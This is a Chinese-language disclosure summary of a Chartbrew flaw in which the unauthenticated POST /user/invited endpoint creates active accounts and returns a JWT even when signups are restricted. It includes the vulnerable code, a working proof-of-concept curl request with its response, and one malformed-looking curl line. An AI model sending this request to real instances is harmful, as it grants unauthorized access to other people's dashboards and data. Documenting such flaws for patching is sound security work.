# Chartbrew 未授权账户注册漏洞总结 ## 漏洞概述 Chartbrew 的 `POST /user/invited` 端点未验证邀请令牌、认证头或会话。任何未授权的攻击者都可以直接调用该端点创建完全活跃的账户并接收有效的 JWT,即使实例已启用现有用户和 `signupRestricted` 限制。 ## 影响范围 - **受影响版本**:4.9.0 (最新版本) - **修复版本**:v5.0.0 - **严重程度**:CVSS v3 基础指标 6.5/10 - **攻击向量**:网络 - **攻击复杂度**:低 - **所需特权**:无 - **用户交互**:无 - **范围**:未改变 - **机密性**:低 - **完整性**:低 - **可用性**:无 ## 修复方案 升级到 v5.0.0 版本。 ## POC 代码 ### 漏洞端点代码 (server/api/UserRoute.js:112) ```javascript // No middleware, no token validation app.post("/user/invited", (req, res) => { if (!req.body.email || !req.body.password) return res.status(400).send("no email or password"); const userObj = { email: req.body.email, password: req.body.password, name: req.body.name, active: true, // -- immediately active, no verification }; return userController.createUser(userObj) .then((newUser) => { return tokenHandler(newUser, res); // -- JWT returned immediately }); }); ``` ### 受保护端点代码 (对比) ```javascript app.post("/user", async (req, res) => { if (app.settings.signupRestricted == "1") { // -- enforced here const areThereAnyUsers = await userController.areThereAnyUsers(); if (areThereAnyUsers) return res.status(401).send("Signups are restricted"); } // active: false -- requires verification }); ``` ### 利用代码 ```bash # 实例已有用户 -- signupRestricted 应该适用 curl http://localhost:4019/api/users \ -H "areThereAnyUsers": true # 攻击 (无需凭据的 1 个请求): curl -i -X POST http://TARGET/user/invited \ -H "Content-Type: application/json" \ -d '{ "name": "Attacker", "email": "attacker@evil.com", "password": "Test1234!" }' ``` ### 响应 (HTTP 200) ```json { "id": 4, "email": "attacker@evil.com", "name": "Attacker", "active": true, "token": "eyJhbGciOiJ9IzI1NiIsInR5cCI6IkpXVCJ9..." } ``` ## 影响 未授权的远程攻击者可以: 1. 在任何 Chartbrew 实例上创建账户,无论 `signupRestricted` 配置如何 2. 注册后立即接收有效的 30 天 JWT 3. 作为合法用户访问所有经过身份验证的 API 端点,包括创建团队、项目和数据连接 4. 枚举和交互与共享/公共仪表板,这些仪表板对经过身份验证的用户可见,但对公众不可见 该漏洞在 `signupRestricted = "1"` 被故意设置为防止未经授权访问的实例上特别严重,因为保护被完全否定。